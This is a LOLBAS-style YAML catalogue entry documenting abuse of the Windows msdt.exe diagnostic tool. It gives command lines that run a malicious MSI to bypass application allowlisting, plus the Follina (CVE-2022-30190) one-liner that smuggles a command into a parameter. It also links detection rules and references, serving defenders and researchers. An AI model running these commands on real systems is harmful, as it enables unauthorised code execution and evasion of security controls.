---
Name: Msdt.exe
Description: Microsoft diagnostics tool
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
    Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
    Usecase: Execute code
    Category: Execute
    Privileges: User
    MitreID: T1218
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Application: GUI
  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
    Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
    Usecase: Execute code bypass Application whitelisting
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Application: GUI
  - Command: msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
    Description: Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
    Usecase: Execute code bypass Application allowlisting
    Category: AWL Bypass
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Application: GUI
Full_Path:
  - Path: C:\Windows\System32\Msdt.exe
  - Path: C:\Windows\SysWOW64\Msdt.exe
Code_Sample:
  - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/PCW8E57.xml
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
Resources:
  - Link: https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
  - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
  - Link: https://twitter.com/harr0ey/status/991338229952598016
  - Link: https://twitter.com/nas_bench/status/1531944240271568896
Acknowledgement:
  - Person: Nasreddine Bencherchali
    Handle: '@nas_bench'